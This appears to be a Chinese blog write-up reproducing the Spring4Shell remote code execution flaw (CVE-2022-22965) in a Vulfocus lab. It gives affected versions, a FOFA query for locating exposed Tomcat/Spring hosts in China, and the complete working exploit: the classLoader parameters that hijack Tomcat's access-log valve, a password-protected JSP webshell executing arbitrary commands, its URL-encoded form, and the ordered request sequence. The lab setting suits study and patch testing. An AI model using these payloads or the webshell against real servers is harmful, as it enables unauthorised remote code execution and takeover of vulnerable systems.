续上一次Log4j2后,于2022年03月29日,Spring官方发布了Spring框架远程命令执行漏洞公告(CNVD-2022-23942、CVE-2022-22965)
攻击者可以通过构造恶意请求来利用这些漏洞,从而造成任意代码执行,未经身份验证的攻击者可以使用此漏洞进行远程任意代码执行,该漏洞广泛存在于Spring框架以及衍生的框架中,JDK 9.0及以上版本会受到此漏洞影响
app="APACHE-Tomcat" || app="vmware-SpringBoot-framework" || app="vmware-SpringBoot-framework" || app="vmware-Spring-Batch" || app="vmware-Spring-framework" || app="vmware-Spring-Security") && country="CN"
使用JDK9或更高版本
使用Apache Tomcat作为Servlet容器
基于spring-webmvc或spring-webflux
使用传统WAR部署
Spring版本为5.3.0至5.3.17,5.2.0至5.2.19
复现环境:Vulfocus 漏洞威胁分析平台
环境名称:vulfocus/spring-core-rce-2022-03-29:latest
开启环境
访问123.58.236.76中25683端口
传入构造的POC第一步:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i
调用class对象,通过ClassLoader取resources。context是Tomcat的StandardContext,parent拿到的是StandardEngine,pipeline拿到的是StandardPipeline,最终是给AccessLogValve对象的几个属性的赋值操作
%i 这个语法是从请求的header里面拿content,header的值目的是为了迎合tomcat日志的pattern
传入构造的POC第二步,日志会按照我们想要的方式,生成.jsp文件:
suffix是日志文件的后缀
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
传入构造的POC第三步,写入网站根目录:
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
传入构造的POC第四步:
prefix修改日志文件的前缀
class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu
传入构造的POC第五步,fileDateFormat是日期文件的时间格式,这里设置为空:
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
payload:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{content}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=ganyu
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
依次传入payload,就会在tomcat的webapps的Root目录下生成一个jsp文件
POC1:
注意:这里因为环境重启了,导致我的ip和端口发生改变
上传webshell
接下来需要做的就是将内容更改为webshell,并让它解析就可以了 写入webshell到网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
webshell:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("t".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}iurl编码webshell:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
所以顺序就是:
http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=spring
url编码webshell:
http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22t%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
http://ip/?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
这里的环境又没了,ip和端口重新更换了一下,每次环境只能开10分钟,我真的是服了这老六了,真特么扣
按照以上顺序重新上传一次